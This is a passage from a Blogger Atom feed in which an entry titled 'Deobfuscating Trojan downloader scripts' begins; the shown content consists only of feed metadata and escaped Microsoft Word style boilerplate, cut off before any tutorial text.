xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKOl3vOkflP9Nwda-Rbk0Av8u09Z63BA7GEq4wRpmBFm7wIxN510afi2UcyzSoSkr1VBqUIkNmD-JalipxU1YFdFMCvLAleMfrF39ImoQ7e1I4hYRdoKERHaQ7NyX2lUMsMyOrvnJPl94/s72-c/revshell-host.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-5730491039118393645</id><published>2018-12-23T08:28:00.000-08:00</published><updated>2018-12-23T08:28:33.632-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="downloader.tutorial"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="PowerShell"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="vbscript"/><title type='text'>Deobfuscating Trojan downloader scripts i.e. basics to get you started</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:RelyOnVML/&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:HyphenationZone&gt;21&lt;/w:HyphenationZone&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;FI&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;--&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
